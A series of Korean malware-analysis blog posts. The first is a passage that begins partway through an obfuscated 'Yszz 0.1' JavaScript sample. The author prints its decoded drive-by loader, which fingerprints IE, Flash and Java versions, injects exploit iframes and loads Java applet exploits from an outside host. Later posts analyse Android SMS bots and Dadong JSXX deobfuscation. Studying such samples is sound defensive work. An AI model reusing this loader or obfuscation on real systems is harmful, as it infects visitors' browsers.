2bJkSAGkvlqcki8bLPPlM0yoBHvHZcNbet6n5vAfGTgCFCVwkUYf/313vufuDvgvu8JkKsnOlC/ZZh10jILFm41SJJfVeQIWWHfq1FKyZ815D3Wy1bfvFAWyKOQbsX3tzJ49nreeJFqyAp1MLs4IrKJYtHfPrsw8QCoz70ZDu9reLi1Z1SLlMvcinp9Ka4AmChl+EDHaFAL8QDnU4KR2l7GyrwQglH0gJu4jTBmO7ZZn7wzS/1EEv+jZVrFb8PUCulqdpPmSWVYQMmcUvmTKDvywXy72571nqguLBbPZE6YpvvZTpzoCIIR/QHoicdavP7UmJ47VUvPiIoAm8Bq9fAdmQyUvJha3J6KqsR3+ZJOjQflG8RRDAHiL5y+MbfxD5Tagx1mC1CTr5ZdltPr8Fpu78qEwJyZwRwa/z+88yLcmvE9GbRb8MzgIPThnoDycGbPy/uVoCdi7vt4xd82vZ6HGp8ZKCciL0nUd3deUG2zHSSawLBMtVcPK4A85nD8PLYq2mNbZqU7dEzvaQqaYLfgK5EdQCYRyfrKPirT9uSD2AMUn/47b8xLV9veOQTAutPDEmGvfYbxi7sc9rzuWnMcBB1xKcD6bY49o7NlS/NOxdO+GxmjxC+/y2J9CEsG8L/QrDoINfR1mBkkTF0NogW7Gzi7trLA82J6YSSt+YVf4THduwIoAWSR+AOFgguHQiXkYF0jFijNrMXKtxuME5aYR24a/p5Y+3vnfTmh4LNQBMO4HTFT+HXGSAkEDAgnTJsptHTVnkCxLrdLP0qp2zoFHbNVZWFbeO541kEljA+cfJ9rYeKCxofpxqQnJLB8/rM1PKEdHowVSblAgYR7CwqlLUX/QW4+cXKMfj6BWJXKsOT2h5AjRI5cXuo37xtiaoMZssuIZ9sMOsjwFqibBYXHECom8wHwH4/woJ6xyT1huUkUH7gugfNSZPXQyDGS8pq7wU095qI21KkFdOsKv0RNYIBFvjWIKbGH6QnNssardvvfvvQMA2Gcc9bPMIeW9tkAlSNMSvGUhvE5pfme3FzQYsHZ5jy1AvAGHDvPzMthVFJW63C+4WYBiyPNO2ru2XpjusKBmqIb2YsnGF4r0aPfBhzME8RRqkKRbVHyLdJM91lvewEQlH+GtWTze/xOW9UOcoB828b00LJ+rj/q8WU8INQDTo4U+qTRzanFqrqjfvze+Q+f3PXIqYepvif43O6PSq7Bd1UXmJ6QnQ1946rtNg8greqzmBkQuaQwzDvkxj54T0HYI0I5J3gdYOgytCIUlOPAJmpHochsO2eq5NjimzwlvzZ3jom3Tk/tVmMFbFcefRPPCGHSzUndjAAwNN+NvknY3Qhd3Jk2C2BXziECmBsQc/Qspg56TNESRCmGdSMiY5yxXW3BwT6c/msR61JF0simrWWlHbhnIozucAFHURQIuCKvY7e82IkVMO8uQM65i+IzZQdAQt8D55drbPgLNm1loBJjSPhm0y2rq8faPdfSFAomLwrO64inX9Sg1pr+S9M8sk2jW5i6nno5+0I+z4/jl6ToW/AE6c6gt6aMmwoYFM8YHhyEjjoRmw3a2IIJdxMPTQSv93vOZDuWoGMDFsDTiSMk86ZHxAXWN3",MxAAS="%64"+"%6f"+"%63"+"%75"+"%6d"+"%65"+"%6e"+"%74",UAXzqa1="%77"+"%72"+"%69"+"%74"+"%65",Kxllz1z;function Yszz_v1(str){var out,i,len,c;var char2,char3;out=[];len=str.length;i=0;while(i<len){c=str.charCodeAt(i++);switch(c>>4)

{case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out[out.length]=str.charAt(i-1);break;case 12:case 13:char2=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x1F)<<6)|(char2&0x3F));break;case 14:char2=str.charCodeAt(i++);char3=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x0F)<<12)|((char2&0x3F)<<6)|((char3&0x3F)<<0));break;}}

return out.join('');}

var kaixindecodeChars=new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);

MxAAS=AVgHbu2f(MxAAS);

function kaixindecode(str)

{var c1,c2,c3,c4;/*Yszz 0.1*/var i,len,out;len=str.length;i=0;out = "";while(i<len)

{do

{c1=kaixindecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c1==-1);if(c1==-1)

break;do

{c2=kaixindecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c2==-1);if(c2==-1)

break;out+=String.fromCharCode((c1<<2)|((c2&0x30)>>4));do

{c3=str.charCodeAt(i++)&0xff;if(c3==61)

return out;c3=kaixindecodeChars[c3]}while(i<len&&c3==-1);if(c3==-1)

break;out+=String.fromCharCode(((c2&0XF)<<4)|((c3&0x3C)>>2));do

{c4=str.charCodeAt(i++)&0xff;if(c4==61)

return out;c4=kaixindecodeChars[c4]}while(i<len&&c4==-1);if(c4==-1)

break;out+=String.fromCharCode(((c3&0x03)<<6)|c4)}

return out}

function long2str(v,w){var vl=v.length;var sl=v[vl-1]&0xffffffff;for(var i=0;i<vl;i++)

{v[i]=String.fromCharCode(v[i]&0xff,v[i]>>>8&0xff,v[i]>>>16&0xff,v[i]>>>24&0xff);}

if(w){return v.join('').substring(0,sl);}

else{return v.join('');}}

function str2long(s,w){var len=s.length;var v=[];for(var i=0;i<len;i+=4)

{v[i>>2]=s.charCodeAt(i)|s.charCodeAt(i+1)<<8|s.charCodeAt(i+2)<<16|s.charCodeAt(i+3)<<24;}

if(w){v[v.length]=len;}

return v;}

Kxllz1z=AVgHbu2f(pkucde);

function kaixin(str,Udkz){if(str==""){return"";}

var v=str2long(str,false);var k=str2long(Udkz,false);var n=v.length-1;var z=v[n-1],y=v[0],delta=0x9E3779B9;var mx,e,q=Math.floor(6+52/(n+1)),sum=q*delta&0xffffffff;while(sum!=0){e=sum>>>2&3;for(var p=n;p>0;p--){z=v[p-1];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v[p]=v[p]-mx&0xffffffff;}

z=v[n];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v[0]=v[0]-mx&0xffffffff;sum=sum-delta&0xffffffff;}

return long2str(v,true);}

UAXzqa1=AVgHbu2f(UAXzqa1);

Dz=cu1l2lp3s2z;

Dz=Yszz_v1(kaixin(kaixindecode(Dz), Kxllz1z));alert(Dz);window[MxAAS][UAXzqa1] (Dz);

</script>

///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////


 * 경고 : 해당 코드는 분석용 샘플 이긴 하나 실제 사용 되었던 코드이므로 사용을 자제하기 바랍니다. 사용시 책임은 본인에게 있습니다.


다른 난독화 소스들 보다 길지 않은 소스이다. 맨 아래를 보면 디코딩한 코드를 Dz 라는 변수에 담는 것을 확인 할 수 있다.


가볍게 alert()로 띄어주면 아래와 같은 코드가 보인다.




하지만 alert창에 크기 문제로 인해 모든 코드가 보이지 않는다. 복사하여 메모장 등에 붙여 넣으면 다음과 같이 코드의 전체를 확인 할 수 있다.


<script type="text/javascript">function whQd8(){       var pcss=navigator.userAgent.toLowerCase();       var kxkx=deconcept["SWFOb"+"jectU"+"til"]["getPlay"+"erVer"+"sion"]();       if(((kxkx['major']==10&&kxkx['minor']<=3)&&kxkx['rev']<=183||(kxkx['major']==11&&kxkx['minor']<=1&&kxkx['rev']<=102&&((pcss.indexOf('msie 6.0')>0)||(pcss.indexOf('msie 7.0')>0)||(pcss.indexOf('msie')==-1))))) { document.writeln("<iframe src=ff.html><\/iframe>"); } else         { var UaYcKzD2 = window.navigator.userAgent.toLowerCase(); if ((UaYcKzD2.indexOf('msie 6.0') > -1) || (UaYcKzD2.indexOf('msie 7.0') > -1))         {try{ var g;   var glworld=new ActiveXObject("ievkbd.IEVkbdBHO");}   catch(g){};   finally{if(g=="[object Error]"){       document.writeln("<iframe src=ms.html><\/iframe>");}else{}}        } }}if(document.cookie.indexOf("unxyingyooo=")==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie="unxyingyooo=Yes;path=/;expires="+expires.toGMTString();if(navigator.userAgent.toLowerCase().indexOf("msie")!=-1){try{ var g;   var glworld=new ActiveXObject("JavaWebStart.isInstalled");}   catch(g){};   finally{if(g=="[object Error]"){}else{var kaixinm=deployJava.getJREs()+"";kaixinm=parseInt(kaixinm.replace(/\.|\_/g,''));if (kaixinm<=17002){var kaixin=document.createElement('applet');kaixin.width="1";kaixin.height="1";}if((kaixinm<=16027 && kaixinm>=16000) || (kaixinm>=15000 && kaixinm<=15031)) {kaixin.archive="Gondad.jpg"; kaixin.code="GondadGondadExp.class";kaixin.setAttribute("data","http://slet.xvozz.com/pic/avi36.jpg ");document.body.appendChild(kaixin);}else if ((kaixinm<=17002 && kaixinm>=17000) || (kaixinm<=16030 && kaixinm>=16000) ||(kaixinm>=15033 && kaixinm<=15000)) {kaixin.archive="d812az1.jpg"; kaixin.code="GondadExp.Ohno.class"; kaixin.setAttribute("xiaomaolv","http://slet.xvozz.com/pic/avi36.jpg "); kaixin.setAttribute("bn","woyouyizhixiaomaolv");kaixin.setAttribute("si","conglaiyebuqi");kaixin.setAttribute("bs","748"); document.body.appendChild(kaixin);}}}}whQd8();}</script>


 * 경고 : 해당 코드는 분석용 샘플 이긴 하나 실제 사용 되었던 코드이므로 사용을 자제하기 바랍니다. 사용시 책임은 본인에게 있습니다.


디코딩 된 코드 또한 길지 않다. 빠르게 훑어보기만 하여도 얼추 IE 버전을 파악하여 공격하는 코드로 보인다.(6~7)


특이한 점은 공격에 사용 되는 것으로 보이는 jpg 파일이름과 클래스 파일이름이 dadong 난독화와 비슷하다는 것이다.


dadong 난독화는 중국어의 gondad를 거꾸로 표기 한 것으로 공격이란 뜻을 가지고 있다. dadong을 의식해서 만든 난독화인지 아니면 그냥 중국 해커에 의해서 만든 코드인데 우연찮게 gondad 라는 단어를 사용한 것인지는 현재로서 알 길이 없다.


무튼 특정 사이트에서 jpg 파일들을 다운받는다. 물론 악성 파일이 숨겨져 있는 jpg 파일일 것이다. 다운받아서 분석을 해보려 하였지만 현재 서버가 죽어있어 파일을 얻지 못하였다.



dadong에 비하면 난독화 알고리즘 자체에는 특별한 점을 찾아 볼 수 없는 난독화이다. 


과연 버전을 업데이트 하여 다시 나타날런지....


p.s - 일반 난독화 툴로도 충분히 난독화가 가능한 것을 확인하였다.


저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

'[+] Security > [-] Analysis' 카테고리의 다른 글

CVE 2012-0507 간단 분석  (12) 2012.05.17
Yszz 0.1 난독화 등장!!  (0) 2012.05.17
Android Tigerbot-Spyera Analysis  (0) 2012.04.13
Android.Stiniter_TGLoader Analysis  (0) 2012.04.12
Encrypt By Dadong's JSXX 0.41 VIP 샘플 분석  (2) 2012.03.10

이번에 분석해 볼 앱은 정말 최근(2012. 4.11)에 발견된 원격 스마트폰을 SMS로 컨트롤하는 앱이다. 


클래스파일이 너무 많아 line by line는 안되고 악성 행위를 하는 부분에 대해서만 설명하도록 하겠다.


일단 GPS 업데이트 부분을 한번 살펴보자. 해당 앱은 감염된 스마트폰의 GPS 정보를 전송하는 기능이 있는데 해당 기능은 [그림1]과 같은 소스코드가 수행하며 클래스 파일의 이름은 CdmaCellLocation이다.



[그림 1 - GPS 위치 전송 데이터 설정]


이번에는 전화통화를 강제로 종료하는 부분이다. 스마트폰의 스크린이 켜지면 그 이벤트를 감지하여 전화통화 상태일시 전화통화를 종료해버린다.


[그림 2 - 전화통화 강제종료]


이번에는 감염 스마트폰의 이미지 전송 부분이다. 사용자가 갤러리등을 통해 사진을 호출하려고 할 때 대부분의 앱들은 미리보기를 보여주게 되는데 이 미리보기가 호출되면 자동적으로 OnPreviceFrame() 메소드가 호출되어 이미지가 특정한 곳으로 전송 된다.


[그림 3 - 이미지 전송]


이번에는 가장 핵심적인 SMS 메시지 명령에 대한 부분을 보자. [그림 4]는 감염 스마트폰으로 SMS가 올 시 그것을 감지하는 부분이다.


[그림 4 - SMS 감지]


이번에는 명령을 체크하는 부분이다. 아래는 그 일부분이다.


[그림 5 - SMS 명령 체크]


이젠 어떠한 명령이 있는지 알아보자. 일단 네트워크에 관련된 부분이다.


[그림 6 - wift 체크]


[그림 6]은 wifi가 연결되어 있는지 확인하는 메소드 부분이다. 이뿐만 아니라 네트워크의 설정정보도 변경하며 사용자가 네트워크 설정 정보를 변경하면 그것또한 감지하여 다시 네트워크 정보를 변경한다.


[그림 7 - 재부팅]


[그림 7]은 악성 앱이 감염 스마트폰을 강제적으로 재부팅시키는 메소드 부분이다. 


[그림 8 - 백그라운드 프로세스 Kill]


[그림 8]은 악성 앱이 백그라운드에서 실행되고 있는 프로세스를 죽이는 메소드 부분이다.


[그림 9 - 상수]


[그림 9]는 GPS와 녹음파일을 업로드 하는 메소드 부분에서 사용되는 상수 값이다. 앞에서 보았던 GPS 설정 데이터를 해당 부분에서 전송하며 녹음 파일 또한 같은 메소드에서 전송한다.



[그림 10 - 전송 후 삭제]


[그림 10]은 녹음 파일을 전송 한 후 삭제하는 부분이다. [그림 11]은 특정 서버와 연결하는 부분으로 해당 서버와 연결이 되면 계속해서 서버에서 오는 수신 메시지를 받는다.



[그림 11 - 서버메시지 수신]


마지막으로 화면잠금 해제 부분이다.


[그림 12 - 화면잠금 해제]


정말 앱 하나에 기능이 많이 들어가 있다. 보기 좋게 어떤 악성 행위를 하는지 정리해 보면 다음과 같다.


1. GPS 데이터 전송

2. SMS 특정번호로 전송

3. 네트워크 설정 정보 변경 및 연결상태 확인

4. 특정 서버와 데이터 송수신

5. 백그라운드의 프로세스 Kill

6. 녹음 파일 전송

7. 스마트폰 재부팅

8. 전화통화 강제종료

9. 이미지 전송

10. 화면 잠금 해제



결국 해당 앱은 감염 스마트폰으로 오는 메시지들을 모니터링 해서 명령에 해당하는 것이 있으면 해당 명령에 관한 기능을 수행한다. 또 스마트폰 상태에 따라 여러가지 정보를 변경한다. 마지막으로 여러 특정데이터들을 특정한 곳으로 전송 시킨다.

전형적인 봇의 형태를 나타내며, 악성코드로서의 행위도 하는 스마트폰에 어울리는 아주 스마트한 악성 앱이다.

저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

'[+] Security > [-] Analysis' 카테고리의 다른 글

CVE 2012-0507 간단 분석  (12) 2012.05.17
Yszz 0.1 난독화 등장!!  (0) 2012.05.17
Android Tigerbot-Spyera Analysis  (0) 2012.04.13
Android.Stiniter_TGLoader Analysis  (0) 2012.04.12
Encrypt By Dadong's JSXX 0.41 VIP 샘플 분석  (2) 2012.03.10

요즘 안드로이드 봇넷에 관한 연구가 외국에서 활발히 이루어지고 있으며 이와 관련된 악성 앱 또한 많이 발견되고 있는 상황이다. 이러한 상황을 어느정도 파악해 보고자 이렇게 악성 앱 분석을 시도하게 되었다.


지금부터 분석 할 악성 앱은 리팩(RePackage) 된 악성 앱이며, 사용자의 스마트폰 정보를 프리미엄 번호로 메시지 전송을 시도하며 또 원격에 있는 C&C 서버와 통신하는 악성 앱 봇이다.


[android.dds.com-STiNiTER.apk]

Main에 해당하는 apk 파일이며 해당 파일을 압축해제 한 후 디컴파일 하여 보면 몇가지의 패키지 파일들이 나오는데 원본 앱과 비교하여 보면 com.gamebox.service 패키지가 원본 앱에 없다는 것을 확인 할 수 있다.

com.gamebox.service 패키지(이하 악성패키지)는 해당 apk 파일의 Main 클래스의 onCreate() 메소드가 호출되면서 자동으로 호출된다.


[그림 1 - 악성 패키지 호출]


OnCreate() 메소드는 액티비티가 생성되면 자동적으로 시스템이 호출하는 메소드이어서 앱이 실행되면 자동으로 실행되는 메소드라고 생각하면 된다. 결국 앱 실행과 동시에 악성 패키지가 서비스로서 실행되게 된다.


일단 악성 패키지는 아래처럼 어떠한 것들을 어떠한 경로에 복사하는 일을 수행한다.


[그림 2 - 악성 앱 복사 수행 루틴]


if문 바로 아래의 출력문을 보면 rootstate 라는 문자열이 보이는데 해당 문자열만 봐도 해당 루틴이 root 권한으로 실행 된다는 것을 알 수 있다. 바로 이 루틴 밑에는 복사한 악성 앱들을 777(rwxrwxrwx) 권한으로 변경하는 루틴이 위치한다.


[그림 3 - 권한 변경 수행 루틴]


권한 변경 도중 쓰레드를 실행하는데 이 쓰레드는 start 파일을 실행시키는 쓰레드이다.

또 맨 마지막 코드를 보면 initr 파일도 실행시키는 것을 볼 수 있다.


[그림 4 - thread1]


위 코드가 thread1 부분의 코드이며, [그림 4]에서 보듯이 start파일을 실행시키고 있다.

파일의 후반부를 가면 OnCreate() 메소드가 존재하는데 이 루틴에서는 감염 스마트폰의 정보와 보낼 번호등이 설정되고 또 복사될 악성앱이름, 경로등이 설정 된다.


[그림 5 - 여러가지 정보 설정]


스마트폰의 여러 정보들을 수집하여 xml 데이터로 만들고, 또 복사할 앱을 바이너리 모드로 열어 그 데이터를 저장하며 복사 할 위치를 지정하고 있다. 해당 앱들은 모두 resource/raw 디렉토리에 들어있다.


위 apk 파일에서 start 파일과 initr 파일을 실행 시키는 것을 볼 수 있었다. 이번에는 start 파일을 한번 살펴보자.


[start]

해당 파일은 ELF 포맷의 파일로 특별한 악성행위는 하지 않으면 log 파일을 생성/Open 하고 파일이 정상적으로 생성되었다면 Keeper라는 파일을 실행시킨다.


[그림 6 - start 파일 흐름]


이번에는 initr 파일을 살펴보자.


[initr]

해당 파일 또한 ELF 포맷의 파일이며, 여러가지의 파일들의 권한을 설정해준다. 아래는 어떤 파일을 어떤 권한으로 설정하여 주는지 목록화 한 것이다.


 - /data/googleservice.apk - 644

 - /data/unlock.apk - 644

 - /data/googlemessage.apk -644

 - /system/bin/android.info - 777

 - /system/bin/keeper - 4711

 - /system/bin/ts - 4711

 - /system/bin/sh - 4755


해당 악성앱은 앞서 말했듯이 루트권한으로 동작한다. 그러므로 keeper, ts 그리고 쉘인 sh는 루트권한으로 실행되게끔 권한이 설정된 것이다.


이번에는 start 파일에서 실행시킨 keeper 파일을 살펴보자.


[keeper]

해당 파일도 ELF 포맷의 파일이며, ts 파일의 소유자와 권한등을 설정하고 ts 파일을 실행시키는 기능을 수행한다.


[그림 7 - 권한 설정 및 실행 루틴]


[그림 7]을 보면 system() 함수를 이용해 권한 설정 및 ts 파일을 실행 하는 것을 볼 수 있다.


이번에는 keeper 파일이 실행시킨 ts 파일을 살펴보자.


[ts]

해당 파일은 ELF 포맷의 파일로 실질적인 악성 행위를 하는 앱들을 설치하고, C&C 서버와 통신하는 기능을 수행한다. 또 C&C서버와 여러가지 파일을 주고 받는다.


[그림 8 - 악성 앱 설치]


 * 참고 : 악성 앱 설치하기 전  /system/etc의 권한을 777로 변경한다.


[그림 8]은 adb 명령을 이용하여 3개의 악성 앱을 설치하는 명령어들이다.

조금만 더 문자열들을 검색해보면 HTTP 헤더 패킷들이 보인다.


[그림 9 - HTTP 헤더 패킷]


그리고 헤더 패킷 이후로 보면 통신 대상이 되는 C&C 서버 4곳의 주소가 나온다.


[그림 10 - C&C 서버 목록]


해당 C&C 서버들은 아직까지 운영되고 있는 것을 확인하였다.


[그림 11 - 운영되고 있는 C&C 서버]


C&C 서버와 주고 받는 여러가지 파일들은 아래와 같다.


 - ReportDownStatus.do

 - GetPackage.do

 - GetRequestInterval.do

 - HeartBeat.do

 - ReportPushMessageStatus.do


이번에는 ts 파일이 설치하는 악성 앱 3가지에 대해서 알아보자.


[악성 앱 3가지]

일단 googlemessage.apk 파일부터 알아보자. 이름에서도 알수 있듯이 메시지에 관련된 앱이다. 압축해제 후 디컴파일을 수행하여 원본코드를 보면 정말 간단하다.


[그림 12 - 메시지 전송 루틴]


OnCreate() 메소드가 호출되면 설정되어 있는 프리미엄 번호로 sendTextMessage() 메소드를 통해 메시지를 전송한다.


이번에는 googleservice.apk를 살펴보도록 하자. 해당 앱은 악성 패키지가 사용자에 의해 삭제되어 해당 스마트폰이 봇넷에서 빠졌을 때 봇의 기능은 하지 못하더라도 과금유발 기능은 하게끔 제작되어 있다. 또 서비스 이름이 사용자에게 친숙한 GoogleUpdateService이어서 사용자가 삭제하지 않을 확률이 높아 악성 앱이 지워지지 않을 확률이 높다.


[그림 13 - run() 메소드 루틴]


[그림 14 - OnCreate() 메소드 루틴]


OnCreate() 메소드를 보면 악성 앱에 대한 루틴은 없지만 메시지 전송 설정 루틴은 존재하는 것을 볼 수 있다.


마지막으로 unlock.apk 파일을 살펴보자.

해당 파일은 스마트폰의 화면잠금/절전모드를 변경하는 앱이다. 절전모드를 변경하여 감염 스마트폰의 전원을 급격히 소모하게 하려는 의도가 엿보인다.



[그림 15 - Unlock.apk]


클래스의 확장 속성을 보면 BroadcastReceiver이다. 앱에서 어떠한 이벤트가 발생하면 그것을 감지하는 속성인데 OnReceivce() 메소드를 보면 어떤 앱에서 메시지를 전달 받게 되면 화면잠금을 해제하고 새로운 절전모드를 설정한다.


 * 참고 : 새로운 절전모드로 264835462의 숫자를 사용하는데 이는 ACQUIRE_CAUSES_WAKEUP(268435456) + SCREEN_DIM_WAKE_LOCK(6)의 합이다. ACQUIRE_CAUSES_WAKEUP는 CPU를 ON 상태로 만들고 화면을 어둡게 만들며 키보드 레이아웃을 끄는 플래그이고, SCREEN_DIM_WAKE_LOCK는 어플에서 어떤 이벤트가 발생하면 화면과 키보드 레이아웃을 켜주는 플래그로 결국 BroadcastReceiver의 OnReceive() 메소드로 인해 스마트폰은 계속 화면이 켜져있는 상태가 될 것이다.


해당 악성 앱의 흐름을 살펴보면 [그림 16]과 같다.



[그림 16 - 악성 앱의 실행 흐름도]


 * 참고 : 이미지를 클릭하면 원본 이미지 크기로 보입니다.

저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
Encrypt By Dadong's JSXX 0.41 VIP 이란 주석을 가지고 있는 자바스크립트 악성 코드가 근래 들어 많이 보인다고 한다.

샘플 : 

(해당 샘플을 사용하고 생기는 책임은 모두 다운로드 받는 본인에게 있다는 걸 명심하세요, 비밀번호 : virus)

중국에서 만든 난독화 코드인데 dadong을 거꾸로 하면 gondad가 되는데 이는 중국어로 공격이라는 뜻이란다.

해당 난독화 코드는 사실 난독화를 풀지 않고도 분석이 가능하다.

해당 글에서는 해당 악성코드를 해결하는 두가지 방법을 제시 할 것이다.

하나는 아주 간단하게 쉘코드만을 얻어와 쉘코드 분석을 통해 추가적으로 어떠한 행동을 하는지 파악하는 방법이고 또 하나 방법은 난독화 코드 자체를 해독하는 방법이다.

일단은 난독화 코드 자체를 해독하는 방법부터 알아보자.

[난독화 코드 해독 방법]
샘플 코드는 아래와 같이 생겼다.

[그림 1 - 샘플 html 파일 윗 부분]

 [그림 2 - 샘플 html 파일 아랫 부분]

[그림 3 - i.js 파일 코드]
 
[그림 2] 부분이 실제 난독화 코드 부분이고 [그림 1]은 midi 취약점에 관련된 부분이다. 빨간 박스 부분에 주석이 보이는데 이 주석 때문에 dadong 난독화 스크립트라고 부른다.

일단 엄청나게 숫자가 많은 부분은 실제 어떠한 행위를 하는 코드 부분이고, 그 다음부터 이어지는 코드들이 어떠한 행위를 하는 코드를 해독하여 주는 부분이다. 해당 코드를 임의로 정렬 해 보았다.

[그림 4 - 난독화 코드 복호화 수행 코드 임의 정렬]

딱 봐도 엄청나게 보기가 복잡하다. 하지만 차근차근 보다보면 해당 코드가 어떻게 복호화 되는지 알 수 있는데, 소스를 한줄씩 분석하다 보면 1번 박스 코드에서 현재 코드(난독화 코드를 풀어주는 복호화 수행 코드)들을 아스키 값으로 변환하여 모두 더하는 것을 볼 수 있다. 그리고 2번 박스에서 아스키값들을 모두 더해 저장한 변수를 key 값으로 사용하여 xor 연산등을 통해 어떠한 행위를 하는 코드를 복호화 해 주는 것을 볼 수 있으며 3번 박스에서 그 코드를 실행하는 것을 볼 수 있다.
복호화 된 코드를 보기 위해 alert나 document.write를 이용하면 되는데 여기서 주의해야 할 점이 있다.
key로 현재 코드들의 아스키 값 총합을 사용하기 때문에 이 총합이 틀려지면 key 값도 달라져 복호화 결과 또한 달라지게 된다. 그렇기에 3번 박스에 있는 KDRhr0 이 함수와 아스키값이 동일한 어떠한 함수를 정의해 줘야 한다. KDRhr0 와 아스키값이 동일하려면 r0==162 라는 조건을 충족하는 다른 아스키 조합을 찾으면 된다. 기본적으로 r 자리는 +1 증가를 시켜주고, 0자리는 1 감소 시켜주면 된다. 필자는 m5 라는 값을 사용 하였다. 아래와 같이 수정을 하게 되면 복호화 코드가 나타나게 된다.

[그림 5 - 복호화 코드 수정]

KDRhm5 = alert 이 부분은 직접 alert 코드를 대입하기 위하여 임의로 정의한 부분이고 아래 박스 부분은 alert가 적용되게 끔 함수 이름을 변경 시켜 준 것이다. 위 코드를 실행하게 되면 아래와 같이 나온다.

 [그림 6 - 난독화 해독 결과]

난독화가 해독되었으나 아직은 완벽하게 된 것은 아니다. 아래에 있는 몇가지 줄로 인해 위에 있는 쉘코드가 정렬, 치환되고 실행이 된다. 그 과정은 글이 너무 길어지므로 생략하겠다. 대부분 i.js 파일에 있는 변수들로 인해 치환된다.

또 쉘코드 분석은 나머지 방법 소개하고 그 뒷부분에서 공통적으로 이어가겠다.

참고자료 : http://www.kahusecurity.com/2012/chinese-pack-using-dadongs-jsxx-vip-script/ 


[쉘코드 바로 얻는 방법]
대부분의 악성코드들은 unescape를 하는데 해당 난독화 코드의 쉘코드 또한 unescape를 사용한다. 이 부분을 alert로 바꾸어주게 되면 난독화가 해제되고 쉘코드를 unescape 하는 과정에서 alert를 만나 unescape 하기 전 쉘코드를 보여주게 된다. i.js 파일에 unescape를 정의 해 놓은 변수가 있는데 이 부분을 alert로 변경하여 주면 된다.

 [그림 7 - unescape 되기 전 쉘코드]

첫번째 방법에서 치환되고 정렬된 결과와 동일하다. 그러나 아직 UCS2 문자가 있기 때문에 이 문자들을 hex 값으로 바꾸어 주어야 한다.

[그림 8 - UCS2 값 변경 방법]

변경하고 shellcode2exe를 이용하여 exe 파일로 만들고 올리디버거로 열어 분석하다보면 아래와 같은 부분을 볼 수 있다.

[그림 9 - XOR 연산 수행 부분]

사실 프로그램을 실행하면 무언가 동작은 하지만 분석을 해보면 그다지 하는 행동이 없어 보인다. 코드를 보면 다시 한번 XOR 연산으로 복호화를 수행 하는걸 알 수 있는데 이 또한 malzila에서 가능하다. XOR 코드를 보면 key 값은 0xBD 인 것을 알 수 있다.

 [그림 10 - XOR 복호화 수행]

복호화를 하게 되면 또다른 hex 값들이 나온다. 이 값들을 아래와 같이 확인해보면 추가적인 행위를 파악 할 수 있다.
 

 [그림 11 - 쉘코드 분석]

제일 마지막에 어떠한 URL이 있고 그 URL을 통해 어떠한 exe 파일을 받는 것을 알 수 있다.

 * 참고 : 현재는 해당 주소에 접속이 되지 않고 해당 주소를 검색하면 악성파일 유포지 인 것을 쉽게 확인 할 수 있다.

저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
  1. 트라 2012.05.26 23:42 신고

    역시 마제스트님 이군요 ^^ 만약 i.js 참조 하는부분이 없는 코드면 alert 부분을 어떻게 매칭시켜야 될까요? 다똥 0.41 구해서 보는데 오늘 하루 말렸네요 ㅠㅠ

    • Favicon of http://maj3sty.tistory.com BlogIcon MaJ3stY 2012.05.27 20:10 신고

      음 여러가지 방법이 생각나는데 이건 모두 구조에 따라 다 달라지는 방법들뿐이네요 ㅠㅠ...

      아무래도 소스를 봐야 할듯 ㅎㅎ 아무리 난독화 코드라고 하더라도 결국은 풀리는 곳이 있으니 시간만 있으면 충분히 해결하실거라 생각이 드네요 ^^

+ Recent posts

티스토리 툴바